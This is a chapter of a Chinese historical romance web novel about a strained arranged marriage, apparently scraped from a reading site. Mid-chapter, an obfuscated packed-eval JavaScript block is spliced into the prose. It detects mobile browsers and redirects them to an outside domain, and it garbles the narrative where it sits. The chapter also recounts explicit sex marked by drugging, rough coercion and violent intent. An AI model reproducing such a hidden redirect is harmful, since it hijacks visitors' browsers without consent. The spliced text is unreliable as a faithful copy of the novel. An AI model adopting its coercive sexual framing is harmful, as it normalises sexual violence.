默认冷灰
24号文字
方正启体

17.第17章

作者:一枝嫩柳本书字数:K更新时间:
    还是早就知道了纪绾沅是个什么样的人,而他又承接了陛下的诏令,早已做好了得跟她虚与委蛇的准备,所以不反感了?


    虽然一切怎么样都能够想得通顺,但隐隐约约之间,他又觉得并非如此……


    这样的心绪不太正常,至于怎么个不太正常,无从解释,有什么东西不受掌控,是什么,他想不明白。


    他历来便不喜欢事态脱离掌控,因为很有可能会节外生枝。


    思及此,温祈砚的眉头皱得厉害。


    旁边的青禾不知道主子内心的触动纠结与疑惑,只一味以为温祈砚跟往常一样反感纪绾沅。


    便主动引走了话茬,问温祈砚沐浴之后要不要用些许夜宵小食,膳房备办着呢。


    “不必。”男人回神,抬脚离开。


    听到外面的脚步声,纪绾沅心下免不了慌张。


    害怕新婚之夜的意外又发生,导致她今天晚上受罪,警告了小丫鬟也还是不放心,于是在梳洗过后,她特地让翡翠带着她陪嫁过来的小丫鬟和老妈妈们仔仔细细检查了一遍。


    暂时没有发现什么异常。


    就算是这样,温祈砚一靠近她便慌张。


    思忖期间,男人已经走进内室了,纪绾沅抬头,两人的视线对上,撞入男人的深眸,她忍不住抿唇,有些紧张。


    翡翠低声低声提醒之后,纪绾沅这才回神想起来,还要装样子呢,于是她扬起笑容,快步上前,“夫君你回来啦!”


    “浴房已经备办好了热水,我伺候夫君沐浴吧?”


    说话间,她的手已经伸过去了。


    因为纪绾沅动作很快,步履生风,卷带着她沐浴之后的馥郁芬芳,扑面而来,卷到男人的鼻端之下。


    淡淡的,很是幽芳清雅……


    跟他之前闻过的,她身上所携带的浓郁脂粉味道并不一样。


    那些繁重的衣衫,累赘首饰脂粉,就像是一个厚厚的茧壳,将原本动人的纪绾沅隐藏在其中,如今清洗除却之后,终于露出她原本的芙蓉底色。


    看着眼前这张笑意吟吟的脸蛋,竟也觉得顺眼起来了。


    所以在纪绾沅靠近的一瞬间,也叫他莫名心悸了一二。


    不受控制的感觉在一瞬明晰了,他必要拨乱反正,所以瞬间隔开了她的手,也来拉开了两人之间的距离,冷冷看着她。


    “……”


    纪绾沅伸出预备上前帮忙的手落空了,被他抗拒得很是尴尬,因为她平日里便好面子,此刻旁边还有不少伺候的小丫鬟在呢。


    当着人前,他又在发什么神经了?


    都说伸手不打笑脸人,他却总是这么对她。


    心里生气,撇嘴跺脚,暗暗骂了温祈砚好几句。


    面上倒是没恼怒,纪绾沅讪笑着把手缩了回去,“夫君不要我帮忙,那需要我做什么吗?”


    “什么都可以的!”她笑着凑近,完全没有受他推拒的尴尬影响。


    想来,也是习惯了。


    毕竟不是第一次了,这么多年她一直凑到他跟前,每次他都拒绝,但也不妨碍她再贴上来。


    “不必,你离我远一些。”


    他不想再闻着她身上淡淡的香味,而产生什么奇异的想法。


    “哦……”


    纪绾沅还是没忍住低低来了这么一句,目光幽怨愤愤看着男人离开去浴房的背影。


    温祈砚走的时候没有回头,但不远处的妆奁台安置得很好,铜镜之内倒映着女子此刻的模样。


    他的目光往前,视线却是透过铜镜在看身后的人,看得很是真切。


    实际上从一进门,温祈砚便已经看穿了纪绾沅的忐忑与紧张。


    她千方百计终于能够与他同寝,自然是应该开心到紧张的。


    分明孩子都有了,却还总是想跟他亲密。


    她怎么那么爱做那件事情?


    还总口是心非。


    难不成是因为新婚之夜,他没有彻底入了春深处。,所以她觉得不够。


    却也不想想,那日是谁鬼哭狼嚎,甚至挠了他臂膀全是伤,甚至还咬人说他不准碰她。


    欲擒故纵玩得如此炉火纯青,当真是厉害了。


    思及此,温祈砚收回了目光。


    纪绾沅一直在等着他沐浴,本来不想等的,她早就有些困倦了,但又怕落人口实。让温夫人跟蒋姨母背地里编排说她不好。


    虽然她不怎么害喜,但有了身孕总是容易困倦,况且今日起得那么早,明儿归宁,也还要起早呢。


    他就不能洗快一些么?


    不好派人催促,纪绾沅只能在心里乱糟糟想着,他洗到什么地方了?听着里面的水声怎么那么微弱呀?


    温祈砚身高腿长,宽肩窄腰,沐浴的确要慢一些,而且他又不要人伺候帮忙。


    或许是洗到那丑丑的……凶器了吧?


    一想到那日窥见的部分,她便忍不住蹙眉,面上又是嫌恶。


    “……”


    纪绾沅几次三番往里面看去,已经是有些“望眼欲穿”了。


    她自己不觉得怪,可旁边守着的小丫鬟们总以为她是迫不及待了,就连隔着屏风亦察觉到她频频投来视线的男人也如此认为,然后他又故意更慢了一些。


    等到温祈砚出来,已经过了许久,纪绾沅打了好几个哈欠,听到脚步声,她是真的惊喜起身。


    “夫君你终于沐浴好了,我们快些上床歇息了吧!”


    温祈砚闻言越是沉眉。


    这种话她都能当着人说出来?反正也快了,何必猴急成这样?


    感受到男人投来的带有凉意的目光,纪绾沅的瞌睡跑了大半,后知后觉在心里咯噔了一下。


    等等,温祈砚该不会以为她催着他上床榻是要跟他睡觉?


    她的确是要跟他睡觉,但此睡非彼睡,她不想跟他“惊天动地”的睡,只想安安静静的睡觉。


    他明不明白?


    这里没有太多外人在,也就是些纪家的小丫鬟,纪绾沅连忙摆手解释,“我不是…那个意思。”


    可是男人早已认定她就是那个意思,根本就不听她的解释。


    不等她酝酿好措辞,便迈步离开了。


    纪绾沅,“……”


    真的服了啊。


    啊啊啊!怎么如何做都是不对的。


    呜呜呜…


    总是叫人误会。


    后面她也没有说话,害怕讲错话,又闹出乱七八糟的。


    万一温祈砚真的又折腾她怎么办?


    害怕有“漏网之鱼”又给温祈砚下药,男人不说话,她也不说话,但温祈砚的一举一动她都目不斜视,时刻盯着。


    纪绾沅此举的作为,是想要提防着温祈砚若是又在内室中招了,那便可以顺藤摸瓜,看看他经手过的物件东西,都由着哪个小丫鬟整理的?


    如此也能够快速将人给抓出来。


    回想新婚之夜,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049775|178338||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她就是太紧张了,不知道他是碰了些什么东西,但依稀还记得一些,他吃了茶。


    然后没多久,便开始发作了。


    茶……


    第一次的时候,她也是在他的茶水里面放药,难怪他会怪到她的头上。


    纪绾沅心里想着,唉叹了一声,“……”


    瞧她眼巴巴的样子,是有多期待?


    感受到她时时刻刻跟着他一举一动的视线。


    温祈砚同样的无言,“……”


    终于,他上床榻了。


    纪绾沅松了一口气,可以歇息了!


    见她爬上床榻便喜笑颜开。


    温祈砚不说话了。


    原本纪绾沅该睡外面,毕竟女子都该睡外,夜半若有事,好伺候郎君起身。


    但是纪绾沅有了身孕,又喜欢往里面钻,所以她先上。


    弯腰曲背之时,锦白的亵衣勾勒出她的腰臀。


    圆满且挺翘,衬得她腰身小小一截,盈盈不足一握,甚至可以看到系紧的小衣结带,系得很精巧。


    他还记得那日就是在床榻之前,由于不想看到纪绾沅的脸,所以他让她背过去,从后面欺负她。


    又怕她乱动,一手扣着她的手腕,另外一手掌着她的后腰……


    真的很是纤细嫩滑。


    仿佛剥开壳的鸡蛋,打下去厉声皱眉呵斥她.夹.紧不准抖的时候,会有水纹弹动。


    为了照顾她腹中不稳的胎象,那日其实并没有完全行房,只是迫她并拢了双腿,以此纾解。


    但不去回想,并不意味着他彻底忘记了被她包裹时感受到的柔软.潮.热。


    只是用这四个字,完全不足以形容跟纪绾沅行房的感受。


    便是厌恶,温祈砚也不得不承认,舒愉也是与厌恶并存的,甚至那舒愉.畅.爽在某些时候盖过了他对纪绾沅的厌恶。


    再往前追溯,这个姿势和位置,他也用过。


    那时候药性猛烈,他已经失去控制,纪绾沅也没有身孕,不必顾忌。


    加上他实在生气,恨不得将她弄.死,所以很是放肆。


    还记得长臂一伸,可以轻而易举捏着她心口之上的无法掌控。


    便是他怎么发狠,都没有办法彻底捏碎,因为不论经受多大的力道,掌中之物都会在他松手的一瞬间复原。


    只有留下的指痕遍布横成,意味着经受过怎样非人的对待。


    哦对了,还有她嘤嘤咛咛又娇娇气气的哭声在控诉他的过分和用劲。


    在她彻底知错服软求饶之前,张口是对他无尽的谩骂,还要挟着会将他碎尸万段。


    当时的纪绾沅的确是回击了,她捏着被褥哭得厉害,整个人像蜗牛和鹌鹑一样回缩着。


    极致的吸附力,让他倒吸一口凉气。


    当时掐捏着她的下巴,让她卸力。


    因为他寸步难行,可她不肯退让,还说她不好说,他也别想好过!


    她要夹死他,让他变成太监,不,不是太监,而是断半截的假太监。


    真是被她气得连连冷笑,生生“凿打”哭了她。


    不知道过了多久,她再也没有力气了,也不敢再骂,一个劲的哭着求饶。


    抱着他的腰身,楚楚可怜悬着泪珠子,依附在他的胸膛处,拐着哭声撒着娇,还叫他祈砚哥哥,说下次真的再也不敢了。


    思及此,男人的喉骨不自觉上下滚动。


    “……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)